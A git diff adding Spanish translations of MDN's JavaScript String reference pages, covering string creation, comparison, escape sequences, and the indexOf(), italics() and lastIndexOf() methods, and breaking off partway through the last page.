+<h3 id="Crear_cadenas">Crear cadenas</h3>
+
+<p>Las cadenas se pueden crear como primitivas, a partir de cadena literales o como objetos, usando el constructor {{jsxref("String/String", "String()")}}:</p>
+
+<pre class="syntaxbox notranslate">const string1 = "Una cadena primitiva";
+const string2 = 'También una cadena primitiva';
+const string3 = `Otra cadena primitiva más`;</pre>
+
+<pre class="syntaxbox notranslate">const string4 = new String("Un objeto String");
+</pre>
+
+<p>Las <code>string</code>s primitivas y los objetos <code>string</code> se pueden usar indistintamente en la mayoría de las situaciones. Consulta "<a href="#Primitivas_string_y_objetos_string">Primitivas <code>String</code> y objetos <code>String</code></a>" a continuación.</p>
+
+<p>Los cadena literales se pueden especificar usando comillas simples o dobles, que se tratan de manera idéntica, o usando el carácter de comilla invertida <kbd>`</kbd>. Esta última forma especifica una <a href="/es/docs/Web/JavaScript/Reference/Template_literals">Plantilla literal</a>: con esta forma puedes interpolar expresiones.</p>
+
+<h3 id="Acceder_a_un_caracter">Acceder a un caracter</h3>
+
+<p>Hay dos formas de acceder a un caracter individual en una cadena. La primera es con el método {{jsxref("String.prototype.charAt()", "charAt()")}}:</p>
+
+<pre class="brush: js notranslate">return 'cat'.charAt(1) // devuelve "a"
+</pre>
+
+<p>La otra forma (introducida en ECMAScript 5) es tratar a la cadena como un objeto similar a un arreglo, donde los caracteres individuales corresponden a un índice numérico:</p>
+
+<pre class="brush: js notranslate">return 'cat'[1] // devuelve "a"
+</pre>
+
+<p>Cuando se usa la notación entre corchetes para acceder a los caracteres, no se puede intentar eliminar o asignar un valor a estas propiedades. Las propiedades involucradas no se pueden escribir ni configurar. (Ve {{jsxref("Object.defineProperty()")}} para más información).</p>
+
+<h3 id="Comparar_cadenas">Comparar cadenas</h3>
+
+<p>En C, se usa la función <code>strcmp()</code> para comparar cadenas. En JavaScript, solo usas los <a href="/es/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">operadores menor que y mayor que</a>:</p>
+
+<pre class="brush: js notranslate">let a = 'a'
+let b = 'b'
+if (a &lt; b) { // true
+  console.log(a + ' es menor que ' + b)
+} else if (a &gt; b) {
+  console.log(a + ' es mayor que ' + b)
+} else {
+  console.log(a + ' y ' + b + ' son iguales.')
+}
+</pre>
+
+<p>Puedes lograr un resultado similar usando el método {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} heredado por las instancias de <code>String</code>.</p>
+
+<p>Ten en cuenta que <code>a == b</code> compara las cadenas en <code><var>a</var></code> y <code><var>b</var></code> por ser igual en la forma habitual que distingue entre mayúsculas y minúsculas. Si deseas comparar sin tener en cuenta los caracteres en mayúsculas o minúsculas, usa una función similar a esta:</p>
+
+<pre class="notranslate">function isEqual(str1, str2)
+{
+    return str1.toUpperCase() === str2.toUpperCase()
+} // isEqual
+</pre>
+
+<p>En esta función se utilizan mayúsculas en lugar de minúsculas, debido a problemas con ciertas conversiones de caracteres UTF-8.</p>
+
+<h3 id="Primitivas_String_y_objetos_String">Primitivas <code>String</code> y objetos <code>String</code></h3>
+
+<p>Ten en cuenta que JavaScript distingue entre objetos <code>String</code> y valores de {{Glossary("Primitive", "primitivas string")}}. (Lo mismo ocurre con {{jsxref("Boolean", "Booleanos")}} y {{jsxref("Global_Objects/Number", "Números")}}).</p>
+
+<p>Las cadenas literales (denotadas por comillas simples o dobles) y cadenas devueltas de llamadas a <code>String</code> en un contexto que no es de constructor (es decir, llamado sin usar la palabra clave {{jsxref("Operators/new", "new")}}) son cadenas primitivas. JavaScript automáticamente convierte las primitivas en objetos <code>String</code>, por lo que es posible utilizar métodos del objeto <code>String</code> en cadenas primitivas. En contextos donde se va a invocar a un método en una cadena primitiva o se produce una búsqueda de propiedad, JavaScript ajustará automáticamente la cadena primitiva y llamará al método o realizará la búsqueda de la propiedad.</p>
+
+<pre class="brush: js notranslate">let s_prim = 'foo'
+let s_obj = new String(s_prim)
+
+console.log(typeof s_prim) // Registra "string"
+console.log(typeof s_obj)  // Registra "object"
+</pre>
+
+<p>Las primitivas de <code>String</code> y los objetos <code>String</code> también dan diferente resultado cuando se usa {{jsxref("Global_Objects/eval", "eval()")}}. Las primitivas pasadas a <code>eval</code> se tratan como código fuente; Los objetos <code>String</code> se tratan como todos los demás objetos, devuelven el objeto. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">let s1 = '2 + 2'              // crea una string primitiva
+let s2 = new String('2 + 2')  // crea un objeto String
+console.log(eval(s1))         // devuelve el número 4
+console.log(eval(s2))         // devuelve la cadena "2 + 2"
+</pre>
+
+<p>Por estas razones, el código se puede romper cuando encuentra objetos <code>String</code> y espera una <code>string</code> primitiva en su lugar, aunque generalmente los autores no necesitan preocuparse por la distinción.</p>
+
+<p>Un objeto <code>String</code> siempre se puede convertir a su contraparte primitiva con el método {{jsxref("String.prototype.valueOf()", "valueOf()")}}.</p>
+
+<pre class="brush: js notranslate">console.log(eval(s2.valueOf()))  // devuelve el número 4
+</pre>
+
+<h3 id="Notación_de_escape">Notación de escape</h3>
+
+<p>Los caracteres especiales se pueden codificar mediante notación de escape:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Código</th>
+   <th scope="col">Salida</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>\<var>XXX</var></code><br>
+    (donde <code><var>XXX</var></code> es de 1 a 3 dígitos octales; rango de <code>0</code>-<code>377</code>)</td>
+   <td>Punto de código Unicode/carácter ISO-8859-1 entre <code>U+0000</code> y <code>U+00FF</code></td>
+  </tr>
+  <tr>
+   <td><code>\'</code></td>
+   <td>Comilla sencilla</td>
+  </tr>
+  <tr>
+   <td><code>\"</code></td>
+   <td>Comilla doble</td>
+  </tr>
+  <tr>
+   <td><code>\\</code></td>
+   <td>Barra inversa</td>
+  </tr>
+  <tr>
+   <td><code>\n</code></td>
+   <td>Nueva línea</td>
+  </tr>
+  <tr>
+   <td><code>\r</code></td>
+   <td>Retorno de carro</td>
+  </tr>
+  <tr>
+   <td><code>\v</code></td>
+   <td>Tabulación vertical</td>
+  </tr>
+  <tr>
+   <td><code>\t</code></td>
+   <td>Tabulación</td>
+  </tr>
+  <tr>
+   <td><code>\b</code></td>
+   <td>Retroceso</td>
+  </tr>
+  <tr>
+   <td><code>\f</code></td>
+   <td>Avance de página</td>
+  </tr>
+  <tr>
+   <td><code>\u<var>XXXX</var></code> (donde <code><var>XXXX</var></code> son 4 dígitos hexadecimales; rango de <code>0x0000</code>-<code>0xFFFF</code>)</td>
+   <td>Unidad de código UTF-16/punto de código Unicode entre <code>U+0000</code> y <code>U+FFFF</code></td>
+  </tr>
+  <tr>
+   <td><code>\u{<var>X</var>}</code> ... <code>\u{<var>XXXXXX</var>}</code><br>
+    (donde <code><var>X</var>…<var>XXXXXX</var></code> es de 1 a 6 dígitos hexadecimales; rango de <code>0x0</code>-<code>0x10FFFF</code>)</td>
+   <td>Unidad de código UTF-32/punto de código Unicode entre <code>U+0000</code> y <code>U+10FFFF</code></td>
+  </tr>
+  <tr>
+   <td><code>\x<var>XX</var></code><br>
+    (donde <code><var>XX</var></code> son 2 dígitos hexadecimales; rango de <code>0x00</code>-<code>0xFF</code>)</td>
+   <td>Punto de código Unicode/carácter ISO-8859-1 entre <code>U+0000</code> y <code>U+00FF</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Cadenas_literales_largas">Cadenas literales largas</h3>
+
+<p>A veces, tu código incluirá cadenas que son muy largas. En lugar de tener líneas que se prolongan interminablemente o que se ajustan según el capricho de tu editor, es posible que desees dividir específicamente la cadena en varias líneas en el código fuente sin afectar el contenido real de la cadena. hay dos maneras de conseguirlo.</p>
+
+<h4 id="Método_1">Método 1</h4>
+
+<p>Puedes usar el operador <a href="/es/docs/Web/JavaScript/Reference/Operators/Addition">+</a> para agregar varias cadenas juntas, así:</p>
+
+<pre class="brush: js notranslate">let longString = "Esta es una cadena muy larga que necesita " +
+                 "que dividimos en varias líneas porque " +
+                 "de lo contrario, mi código es ilegible."
+</pre>
+
+<h4 id="Método_2">Método 2</h4>
+
+<p>Puedes usar el caracter de barra invertida (<code>\</code>) al final de cada línea para indicar que la cadena continúa en la siguiente línea. Asegúrate de que no haya ningún espacio ni ningún otro carácter después de la barra invertida (a excepción de un salto de línea) o como sangría; de lo contrario, no trabajará.</p>
+
+<p>Esa forma se ve así:</p>
+
+<pre class="brush: js notranslate">let longString = "Esta es una cadena muy larga que necesita \
+que dividimos en varias líneas porque \
+de lo contrario, mi código es ilegible."
+</pre>
+
+<p>Ambos métodos anteriores dan como resultado cadenas idénticas.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{jsxref("String/String", "String()")}}</dt>
+ <dd>Crea un nuevo objeto <code>String</code>. Realiza la conversión de tipos cuando se llama como función, en lugar de como constructor, lo cual suele ser más útil.</dd>
+</dl>
+
+<h2 id="Métodos_estáticos">Métodos estáticos</h2>
+
+<dl>
+ <dt>{{jsxref("String.fromCharCode()", "String.fromCharCode(<var>num1</var> [, ...[, <var>numN</var>]])")}}</dt>
+ <dd>Devuelve una cadena creada utilizando la secuencia de valores Unicode especificada.</dd>
+ <dt>{{jsxref("String.fromCodePoint()", "String.fromCodePoint(<var>num1</var> [, ...[, <var>numN</var>]])")}}</dt>
+ <dd>Devuelve una cadena creada utilizando la secuencia de puntos de código especificada.</dd>
+ <dt>{{jsxref("String.raw()")}}</dt>
+ <dd>Devuelve una cadena creada a partir de una plantilla literal sin formato.</dd>
+</dl>
+
+<h2 id="Propiedades_de_la_instancia">Propiedades de la instancia</h2>
+
+<dl>
+ <dt>{{jsxref("String.prototype.length")}}</dt>
+ <dd>Refleja la <code>length</code> de la cadena. Solo lectura.</dd>
+</dl>
+
+<h2 id="Métodos_de_instancia">Métodos de instancia</h2>
+
+<dl>
+ <dt>{{jsxref("String.prototype.charAt()", "String.prototype.charAt(<var>index</var>)")}}</dt>
+ <dd>Devuelve el caracter (exactamente una unidad de código UTF-16) en el <code><var>index</var></code> especificado.</dd>
+ <dt>{{jsxref("String.prototype.charCodeAt()", "String.prototype.charCodeAt(<var>index</var>)")}}</dt>
+ <dd>Devuelve un número que es el valor de la unidad de código UTF-16 en el <code><var>index</var></code> dado.</dd>
+ <dt>{{jsxref("String.prototype.codePointAt()", "String.prototype.codePointAt(<var>pos</var>)")}}</dt>
+ <dd>Devuelve un número entero no negativo que es el valor del punto de código del punto de código codificado en UTF-16 que comienza en la <code><var>pos</var></code> especificada.</dd>
+ <dt>{{jsxref("String.prototype.concat()", "String.prototype.concat(<var>str</var>[, ...<var>strN</var>])")}}</dt>
+ <dd>Combina el texto de dos (o más) cadenas y devuelve una nueva cadena.</dd>
+ <dt>{{jsxref("String.prototype.includes()", "String.prototype.includes(<var>searchString</var> [, <var>position</var>])")}}</dt>
+ <dd>Determina si la cadena de la llamada contiene <code><var>searchString</var></code>.</dd>
+ <dt>{{jsxref("String.prototype.endsWith()", "String.prototype.endsWith(<var>searchString</var>[, <var>length</var>])")}}</dt>
+ <dd>Determina si una cadena termina con los caracteres de la cadena <code><var>searchString</var></code>.</dd>
+ <dt>{{jsxref("String.prototype.indexOf()", "String.prototype.indexOf(<var>searchValue</var>[, <var>fromIndex</var>])")}}</dt>
+ <dd>Devuelve el índice dentro del objeto {{jsxref("String")}} llamador de la primera aparición de <code><var>searchValue</var></code>, o <code>-1</code> si no lo encontró.</dd>
+ <dt>{{jsxref("String.prototype.lastIndexOf()", "String.prototype.lastIndexOf(<var>searchValue</var>[, <var>fromIndex</var>])")}}</dt>
+ <dd>Devuelve el índice dentro del objeto {{jsxref("String")}} llamador de la última aparición de <code><var>searchValue</var></code>, o <code>-1</code> si no lo encontró.</dd>
+ <dt>{{jsxref("String.prototype.localeCompare()", "String.prototype.localeCompare(<var>compareString</var>[, <var>locales</var>[, <var>options</var>]])")}}</dt>
+ <dd>Devuelve un número que indica si la cadena de referencia <code><var>compareString</var></code> viene antes, después o es equivalente a la cadena dada en el orden de clasificación.</dd>
+ <dt>{{jsxref("String.prototype.match()", "String.prototype.match(<var>regexp</var>)")}}</dt>
+ <dd>Se utiliza para hacer coincidir la expresión regular <code><var>regexp</var></code> con una cadena.</dd>
+ <dt>{{jsxref("String.prototype.matchAll()", "String.prototype.matchAll(<var>regexp</var>)")}}</dt>
+ <dd>Devuelve un iterador de todas las coincidencias de <code><var>regexp</var></code>.</dd>
+ <dt>{{jsxref("String.prototype.normalize()", "String.prototype.normalize([<var>form</var>])")}}</dt>
+ <dd>Devuelve la forma de normalización Unicode del valor de la cadena llamada.</dd>
+ <dt>{{jsxref("String.prototype.padEnd()", "String.prototype.padEnd(<var>targetLength</var>[, <var>padString</var>])")}}</dt>
+ <dd>Rellena la cadena actual desde el final con una cadena dada y devuelve una nueva cadena de longitud <code><var>targetLength</var></code>.</dd>
+ <dt>{{jsxref("String.prototype.padStart()", "String.prototype.padStart(<var>targetLength</var>[, <var>padString</var>])")}}</dt>
+ <dd>Rellena la cadena actual desde el principio con una determinada cadena y devuelve una nueva cadena de longitud <code><var>targetLength</var></code>.</dd>
+ <dt>{{jsxref("String.prototype.repeat()", "String.prototype.repeat(<var>count</var>)")}}</dt>
+ <dd>Devuelve una cadena que consta de los elementos del objeto repetidos <code><var>count</var></code> veces.</dd>
+ <dt>{{jsxref("String.prototype.replace()" , "String.prototype.replace(<var>searchFor</var>, <var>replaceWith</var>)")}}</dt>
+ <dd>Se usa para reemplazar ocurrencias de <code><var>searchFor</var></code> usando <code><var>replaceWith</var></code>. <code><var>searchFor</var></code> puede ser una cadena o expresión regular, y <code><var>replaceWith</var></code> puede ser una cadena o función.</dd>
+ <dt>{{jsxref("String.prototype.replaceAll()", "String.prototype.replaceAll(<var>searchFor</var>, <var>replaceWith</var>)")}}</dt>
+ <dd>Se utiliza para reemplazar todas las apariciones de <code><var>searchFor</var></code> usando <code><var>replaceWith</var></code>. <code><var>searchFor</var></code> puede ser una cadena o expresión regular, y <code><var>replaceWith</var></code> puede ser una cadena o función.</dd>
+ <dt>{{jsxref("String.prototype.search()", "String.prototype.search(<var>regexp</var>)")}}</dt>
+ <dd>Busca una coincidencia entre una expresión regular <code><var>regexp</var></code> y la cadena llamadora.</dd>
+ <dt>{{jsxref("String.prototype.slice()", "String.prototype.slice(<var>beginIndex</var>[, <var>endIndex</var>])")}}</dt>
+ <dd>Extrae una sección de una cadena y devuelve una nueva cadena.</dd>
+ <dt>{{jsxref("String.prototype.split()", "String.prototype.split([<var>sep</var>[, <var>limit</var>] ])")}}</dt>
+ <dd>Devuelve un arreglo de cadenas pobladas al dividir la cadena llamadora en las ocurrencias de la subcadena <code><var>sep</var></code>.</dd>
+ <dt>{{jsxref("String.prototype.startsWith()", "String.prototype.startsWith(<var>searchString</var>[, <var>length</var>])")}}</dt>
+ <dd>Determina si la cadena llamadora comienza con los caracteres de la cadena <code><var>searchString</var></code>.</dd>
+ <dt>{{jsxref("String.prototype.substr()")}}</dt>
+ <dd>Devuelve los caracteres en una cadena que comienza en la ubicación especificada hasta el número especificado de caracteres.</dd>
+ <dt>{{jsxref("String.prototype.substring()", "String.prototype.substring(<var>indexStart</var>[, <var>indexEnd</var>])")}}</dt>
+ <dd>Devuelve una nueva cadena que contiene caracteres de la cadena llamadora de (o entre) el índice (o indeces) especificados.</dd>
+ <dt>{{jsxref("String.prototype.toLocaleLowerCase()", "String.prototype.toLocaleLowerCase( [<var>locale</var>, ...<var>locales</var>])")}}</dt>
+ <dd>
+ <p>Los caracteres dentro de una cadena se convierten a minúsculas respetando la configuración regional actual.</p>
+
+ <p>Para la mayoría de los idiomas, devolverá lo mismo que {{jsxref("String.prototype.toLowerCase()", "toLowerCase()")}}.</p>
+ </dd>
+ <dt>{{jsxref("String.prototype.toLocaleUpperCase()", "String.prototype.toLocaleUpperCase( [<var>locale</var>, ...<var>locales</var>])")}}</dt>
+ <dd>
+ <p>Los caracteres dentro de una cadena se convierten a mayúsculas respetando la configuración regional actual.</p>
+
+ <p>Para la mayoría de los idiomas, devolverá lo mismo que {{jsxref("String.prototype.toUpperCase()", "toUpperCase()")}}.</p>
+ </dd>
+ <dt>{{jsxref("String.prototype.toLowerCase()")}}</dt>
+ <dd>Devuelve el valor de la cadena llamadora convertido a minúsculas.</dd>
+ <dt>{{jsxref("String.prototype.toString()")}}</dt>
+ <dd>Devuelve una cadena que representa el objeto especificado. Redefine el método {{jsxref("Object.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("String.prototype.toUpperCase()")}}</dt>
+ <dd>Devuelve el valor de la cadena llamadora convertido a mayúsculas.</dd>
+ <dt>{{jsxref("String.prototype.trim()")}}</dt>
+ <dd>Recorta los espacios en blanco desde el principio y el final de la cadena. Parte del estándar ECMAScript 5.</dd>
+ <dt>{{jsxref("String.prototype.trimStart()")}}</dt>
+ <dd>Recorta los espacios en blanco desde el principio de la cadena.</dd>
+ <dt>{{jsxref("String.prototype.trimEnd()")}}</dt>
+ <dd>Recorta los espacios en blanco del final de la cadena.</dd>
+ <dt>{{jsxref("String.prototype.valueOf()")}}</dt>
+ <dd>Devuelve el valor primitivo del objeto especificado. Redefine el método {{jsxref("Object.prototype.valueOf()")}}.</dd>
+ <dt>{{jsxref("String.prototype.@@iterator()")}}</dt>
+ <dd>Devuelve un nuevo objeto <code>Iterator</code> que itera sobre los puntos de código de un valor de cadena, devolviendo cada punto de código como un valor de cadena.</dd>
+</dl>
+
+<h2 id="Métodos_de_contenedor_HTML">Métodos de contenedor HTML</h2>
+
+<div>
+<div class="blockIndicator note">
+<p><strong>Desaprobado. Evita estos métodos.</strong></p>
+
+<p>Son de uso limitado, ya que proporcionan solo un subconjunto de las etiquetas y atributos HTML disponibles.</p>
+</div>
+
+<dl>
+ <dt>{{jsxref("String.prototype.anchor()")}}</dt>
+ <dd>{{htmlattrxref("name", "a", "&lt;a name=\"name\"&gt;")}} (hipertexto destino)</dd>
+ <dt>{{jsxref("String.prototype.big()")}}</dt>
+ <dd>{{HTMLElement("big")}}</dd>
+ <dt>{{jsxref("String.prototype.blink()")}}</dt>
+ <dd>{{HTMLElement("blink")}}</dd>
+ <dt>{{jsxref("String.prototype.bold()")}}</dt>
+ <dd>{{HTMLElement("b")}}</dd>
+ <dt>{{jsxref("String.prototype.fixed()")}}</dt>
+ <dd>{{HTMLElement("tt")}}</dd>
+ <dt>{{jsxref("String.prototype.fontcolor()")}}</dt>
+ <dd>{{htmlattrxref("color", "font", "&lt;font color=\"color\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.fontsize()")}}</dt>
+ <dd>{{htmlattrxref("size", "font", "&lt;font size=\"size\"&gt;")}}</dd>
+ <dt>{{jsxref("String.prototype.italics()")}}</dt>
+ <dd>{{HTMLElement("i")}}</dd>
+ <dt>{{jsxref("String.prototype.link()")}}</dt>
+ <dd>{{htmlattrxref("href", "a", "&lt;a href=\"url\"&gt;")}} (enlace a URL)</dd>
+ <dt>{{jsxref("String.prototype.small()")}}</dt>
+ <dd>{{HTMLElement("small")}}</dd>
+ <dt>{{jsxref("String.prototype.strike()")}}</dt>
+ <dd>{{HTMLElement("strike")}}</dd>
+ <dt>{{jsxref("String.prototype.sub()")}}</dt>
+ <dd>{{HTMLElement("sub")}}</dd>
+ <dt>{{jsxref("String.prototype.sup()")}}</dt>
+ <dd>{{HTMLElement("sup")}}</dd>
+</dl>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Conversión_de_cadenas">Conversión de cadenas</h3>
+
+<p>Es posible usar <code>String</code> como una alternativa más confiable de {{jsxref("String.prototype.toString()", "toString()")}}, ya que funciona cuando se usa en {{jsxref( "null")}}, {{jsxref("undefined")}} y en {{jsxref("Symbol", "símbolos")}}. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">let outputStrings = []
+for (let i = 0, n = inputValues.length; i &lt; n; ++i) {
+  outputStrings.push(String(inputValues[i]));
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string-objects', 'String')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.builtins.String")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Guide/Text_formatting">Formato de texto en la Guía de JavaScript</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{domxref("DOMString")}}</li>
+ <li><a href="/es/Add-ons/Code_snippets/StringView"><code>StringView</code> — una representación similar a C de cadenas basada en arreglos tipados</a></li>
+ <li><a href="/es/docs/Web/API/DOMString/Binary">Cadenas binarias</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/indexof/index.html b/files/es/web/javascript/referencia/objetos_globales/string/indexof/index.html
new file mode 100644
index 0000000000..14f7b01eb8
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/indexof/index.html
@@ -0,0 +1,104 @@
+---
+title: String.prototype.indexOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/indexOf
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/indexOf
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El método <code><strong>indexOf()</strong></code>devuelve el índice, dentro del objeto <code>String</code> que realiza la llamada, de la primera ocurrencia del valor especificado, comenzando la búsqueda desde <code>indiceDesde</code>; o -1 si no se encuentra dicho valor.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.indexOf(<em>valorBusqueda</em>[,<em> indiceDesde</em>])</pre>
+
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+
+<dl>
+ <dt><code>valorBusqueda</code></dt>
+ <dd>Una cadena que representa el valor de búsqueda.</dd>
+</dl>
+
+<dl>
+ <dt><code>indiceDesde</code></dt>
+ <dd>La localización dentro de la cadena llamada desde la que empezará la búsqueda. Puede ser un entero entre 0 y la longitud de la cadena. El valor predeterminado es 0.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Los caracteres de una cadena se indexan de izquierda a derecha. El índice del primer carácter es 0, y el índice del último carácter de una cadena llamada <code>nombreCadena</code> es <code>nombreCadena.length - 1</code>.</p>
+
+<pre class="brush: js">"Blue Whale".indexOf("Blue")    // returns 0
+"Blue Whale".indexOf("Blute")   // returns -1
+"Blue Whale".indexOf("Whale",0) // returns 5
+"Blue Whale".indexOf("Whale",5) // returns 5
+"Blue Whale".indexOf("",9)      // returns 9
+"Blue Whale".indexOf("",10)     // returns 10
+"Blue Whale".indexOf("",11)     // returns 10
+</pre>
+
+<p>El método <code>indexOf</code> es sensible a mayúsculas. Por ejemplo, la siguiente expresión devuelve -1:</p>
+
+<pre class="brush: js">"Ballena Azul".indexOf("azul")
+</pre>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_indexOf_y_lastIndexOf" name="Ejemplo:_Usando_indexOf_y_lastIndexOf">Ejemplo: Usando <code>indexOf</code> y <code>lastIndexOf</code></h3>
+
+<p>El siguiente ejemplo utiliza <code>indexOf</code> y <code>lastIndexOf</code> para localizar valores dentro de la cadena "<code>Brave new world</code>".</p>
+
+<pre class="brush: js">var cualquierCadena="Brave new world"
+
+
+document.write("&lt;P&gt;The index of the first w from the beginning is " +
+   cualquierCadena.indexOf("w"))         // Muestra 8
+
+document.write("&lt;P&gt;The index of the first w from the end is " +
+   cualquierCadena.lastIndexOf("w"))    // Muestra 10
+
+document.write("&lt;P&gt;The index of 'new' from the beginning is " +
+   cualquierCadena.indexOf("new"))      // Muestra 6
+
+document.write("&lt;P&gt;The index of 'new' from the end is " +
+   cualquierCadena.lastIndexOf("new"))  // Muestra 6
+</pre>
+
+<h3 id="Ejemplo:_indexOf_y_sensibilidad_a_may.C3.BAsculas" name="Ejemplo:_indexOf_y_sensibilidad_a_may.C3.BAsculas">Ejemplo: <code>indexOf</code> y sensibilidad a mayúsculas</h3>
+
+<p>El siguiente ejemplo define dos variables de tipo cadena. Las variables contienen la misma cadena excepto que la segunda cadena contienen letras en mayúscula. El primer método <code>writeln</code> muestra 19. Pero a que el método <code>indexOf</code> es sensible a mayúsculas, no se encuentra la cadena "<code>cheddar</code>" en <code>miCadenaMayusculas</code>, así que el segundo método <code>writeln</code> muestra -1.</p>
+
+<pre class="brush: js">miCadena="brie, pepper jack, cheddar"
+miCadenaMayusculas="Brie, Pepper Jack, Cheddar"
+document.writeln('miCadena.indexOf("cheddar") is ' +
+   miCadena.indexOf("cheddar"))
+document.writeln('&lt;P&gt;miCadenaMayusculas.indexOf("cheddar") is ' +
+   miCadenaMayusculas.indexOf("cheddar"))
+</pre>
+
+<h3 id="Ejemplo:_Usando_indexOf_para_contar_ocurrencias_de_una_letra_en_una_cadena" name="Ejemplo:_Usando_indexOf_para_contar_ocurrencias_de_una_letra_en_una_cadena">Ejemplo: Usando <code>indexOf</code> para contar ocurrencias de una letra en una cadena</h3>
+
+<p>El siguiente ejemplo establece <code>cuenta</code> como el número de ocurrencias de la letra <code>x</code> dentro de la cadena <code>miCadena</code>:</p>
+
+<pre class="brush: js">cuenta = 0;
+posicion = miCadena.indexOf("x");
+while ( posicion != -1 ) {
+   cuenta++;
+   posicion = miCadena.indexOf("x",posicion+1);
+}
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/italics/index.html b/files/es/web/javascript/referencia/objetos_globales/string/italics/index.html
new file mode 100644
index 0000000000..71897293bb
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/italics/index.html
@@ -0,0 +1,49 @@
+---
+title: String.prototype.italics()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/italics
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Method
+  - Prototype
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/italics
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<p>{{deprecated_header}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Provoca que una cadena ponga en cursiva, como si estuviese dentro de una etiqueta {{HTMLElement("i")}}.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.italics()</pre>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Usa el método <code>italics</code> para formatear y mostrar una cadena en un documento.</p>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_formateado_de_una_cadena" name="Ejemplo:_Usando_m.C3.A9todos_de_string_para_cambiar_el_formateado_de_una_cadena">Ejemplo: Usando métodos de <code>italics()</code></h3>
+
+<p>El siguiente ejemplo usa métodos de <code>string</code> para cambiar el formateado de una cadena:</p>
+
+<pre class="brush: js">var cadenaMundo="¡Hola mundo!";
+
+console.log(cadenaMundo.blink());
+console.log(cadenaMundo.bold());
+console.log(cadenaMundo.italics());
+console.log(cadenaMundo.strike());
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.blink()")}}</li>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/string/lastindexof/index.html b/files/es/web/javascript/referencia/objetos_globales/string/lastindexof/index.html
new file mode 100644
index 0000000000..ffde251071
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/string/lastindexof/index.html
@@ -0,0 +1,79 @@
+---
+title: String.prototype.lastIndexOf()
+slug: Web/JavaScript/Referencia/Objetos_globales/String/lastIndexOf
+tags:
+  - Cadena
+  - JavaScript
+  - Prototipo
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/String/lastIndexOf
+---
+<p>{{JSRef("Objetos_globales", "String")}}</p>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>El  método <strong><code>lastIndexOf() </code></strong><code>devuelve </code>la posicion (indice) en la que se encuentra el <strong>valorBusqueda</strong>, dentro del objeto <code>String</code> que realiza la llamada, de la última ocurrencia del valor especificado; o -1 si no se halla. La búsqueda se realiza empezando por el final de la cadena que realiza la llamada, empezando en <strong><code>indiceDesde</code></strong>.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>cadena</em>.lastIndexOf(<em>valorBusqueda</em>[,<em> indiceDesde</em>]<em>)</em></pre>
+
